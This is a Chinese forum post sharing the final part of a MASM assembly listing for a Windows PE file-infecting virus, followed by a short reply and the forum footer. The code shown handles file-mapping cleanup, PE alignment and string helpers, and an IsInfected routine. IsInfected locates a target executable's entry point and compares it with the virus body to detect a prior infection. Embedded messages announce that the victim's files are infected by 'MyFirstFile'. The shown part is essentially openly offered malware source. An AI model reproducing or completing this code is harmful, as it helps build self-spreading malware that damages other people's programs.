  894.         assume edi:nothing
  895.         assume esi:nothing
  896.         jmp __UnMapViewOfFile
  897. __UnMapViewOfFile:
  898.         ;关闭文件映射
  899.         push lpBuffer
  900.         mov eax,hModule
  901.         call dword ptr cs:[_UnmapViewOfFile - start + eax]
  902.         jmp CloseFileMapping
  903. CloseFileMapping:
  904.         push hMap
  905.         mov eax,hModule
  906.         call dword ptr cs:[_CloseHandle - start + eax]
  907. Closed:
  908.         push hFile
  909.         mov eax,hModule
  910.         call dword ptr cs:[_CloseHandle - start + eax]
  911.         jmp Exit_Ret
  912. Exit_Ret:
  913.         ret
  914. MyFileCallBack endp
  915. PeAlign proc Number:DWORD,dwAlign:DWORD
  916.         mov ecx,dwAlign
  917.         mov eax,Number
  918.         xor edx,edx
  919.         div ecx
  920.         or edx,edx
  921.         je Aligned
  922.         inc eax
  923. Aligned:
  924.         mul ecx
  925.         ret
  926. PeAlign endp
  927. RtlCopyAnsiString proc lpString:DWORD,lpString1:DWORD,dwLength:DWORD
  928.         mov edi,lpString
  929.         mov esi,lpString1
  930.         mov ecx,dwLength
  931.         rep movsb
  932.         mov ecx,dwLength
  933.         add ecx,lpString
  934.         mov byte ptr ds:[ecx],0
  935.         ret
  936. RtlCopyAnsiString endp
  937. RtlAddAnsiString proc lpString:DWORD,lpString1:DWORD
  938.         LOCAL len:DWORD
  939.         pushad
  940.         push lpString
  941.         call RtlGetAnsiStringLength
  942.         push eax
  943.         push lpString1
  944.         call RtlGetAnsiStringLength
  945.         mov len,eax
  946.         pop eax
  947.         add lpString,eax
  948.         mov edi,lpString
  949.         mov esi,lpString1
  950.         mov ecx,len
  951.         rep movsb
  952.         mov edi,lpString
  953.         add edi,len
  954.         mov byte ptr ds:[edi],0
  955.         popad
  956.         ret
  957. RtlAddAnsiString endp
  958. RtlCompareMemoryByBytes proc lpBuffer:DWORD,lpBuffer1:DWORD,dwSize:DWORD ;比较两个内存 不相等返回0
  959.         pushad
  960.         xor eax,eax
  961.         mov ecx,dwSize
  962.         mov edi,lpBuffer
  963.         mov esi,lpBuffer1
  964.         repe cmpsb
  965.         pushfd
  966.         pushfd
  967.         xor edx,edx
  968.         popfd
  969.         xor ecx,edx
  970.         pushfd
  971.         inc edx
  972.         popfd
  973.         cmove eax,edx
  974.         xor edx,edx
  975.         popfd
  976.         popad
  977.         cmovnz eax,edx
  978.         ret
  979. RtlCompareMemoryByBytes endp
  980. IsInfected proc hModule:DWORD,lpBuffer:DWORD,pNtHeaders32:DWORD
  981.         LOCAL dwReturn:DWORD
  982.         LOCAL Oep:DWORD
  983.         LOCAL Oep_VA:DWORD
  984.         LOCAL nSec:WORD
  985.         LOCAL FileAlignment:DWORD
  986.         assume esi:ptr IMAGE_NT_HEADERS32
  987.         mov esi,pNtHeaders32
  988.         .if [esi].Signature != IMAGE_NT_SIGNATURE ;不是PE文件
  989.                 jmp Fail
  990. Fail:
  991.                 mov eax,dwReturn
  992.                 xor dwReturn,eax
  993.                 jmp Return
  994.         .endif
  995.         ;不是Intel x86的PE文件
  996.         cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
  997.         jnz Fail
  998.         ;文件对齐值
  999.         mov eax,[esi].OptionalHeader.FileAlignment
  1000.         mov FileAlignment,eax
  1001.         ;区块个数
  1002.         mov ax,[esi].FileHeader.NumberOfSections
  1003.         mov nSec,ax
  1004.         ;取出OEP
  1005.         mov eax,[esi].OptionalHeader.AddressOfEntryPoint
  1006.         mov Oep,eax
  1007.         ;计算出OEP在文件中的偏移
  1008.         assume edi:ptr IMAGE_SECTION_HEADER
  1009.         ;找出EP区段
  1010.         lea edi,[esi].OptionalHeader
  1011.         xor eax,eax
  1012.         mov ax,[esi].FileHeader.SizeOfOptionalHeader
  1013.         add edi,eax
  1014.         xor eax,eax
  1015.         .repeat
  1016.                 mov ebx,[edi].VirtualAddress
  1017.                 .if Oep >= ebx
  1018.                         add ebx,[edi].Misc.VirtualSize
  1019.                         cmp ebx,Oep
  1020.                         ja Next
  1021.                 .endif
  1022.                 add edi,sizeof IMAGE_SECTION_HEADER
  1023.                 inc ax
  1024.         .until ax >= nSec
  1025. Next:
  1026.         ;RVA -> RAW
  1027.         push FileAlignment
  1028.         push [edi].PointerToRawData
  1029.         call PeAlign
  1030.         mov ebx,[edi].VirtualAddress
  1031.         sub ebx,Oep
  1032.         neg ebx
  1033.         add eax,ebx
  1034.         mov Oep,eax
  1035.         mov Oep_VA,eax
  1036.         mov eax,lpBuffer
  1037.         add Oep_VA,eax
  1038.         ;和Shell对比 不相等就说明没被感染
  1039.         push 5
  1040.         push Oep_VA
  1041.         push hModule
  1042.         call RtlCompareMemoryByBytes ;比较前五个字节
  1043.         or eax,eax
  1044.         je Fail
  1045.         ;剩下的代码
  1046.         add Oep_VA,Shell_ - start
  1047.         add hModule,Shell_ - start
  1048.         push END_ - Shell_
  1049.         push Oep_VA
  1050.         push hModule
  1051.         call RtlCompareMemoryByBytes ;比较剩下的代码
  1052.         or eax,eax
  1053.         je Fail
  1054.         mov dwReturn,1
  1055.         assume edi:nothing
  1056.         assume esi:nothing
  1057.         jmp Return
  1058. Return:
  1059.         xor eax,eax
  1060.         xor eax,dwReturn
  1061.         ret
  1062. IsInfected endp
  1063. END_MSG:
  1064.         db 'File corrupted!. This program has been manipulated and maybe',0ah,0dh
  1065.         db 'it is infected by a Virus or cracked. This file will not work anymore.',0
  1066. END_MSG1:
  1067.         db 'Your files in your disk have been infected viruses by ',27h,'MyFirstFile',27h,'...',0
  1068. END_:
  1069.         retf
  1070. end start
  1071. end
复制代码

InfectPe.inc
  1. include windows.inc
复制代码

求回复。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2017-6-21 10:17:48 | 显示全部楼层
本帖最后由 zlj19931010 于 2017-6-21 10:19 编辑

挽尊

太厉害了,我都不想看。。。

mark,以后学完再来研究~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-23 18:18

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表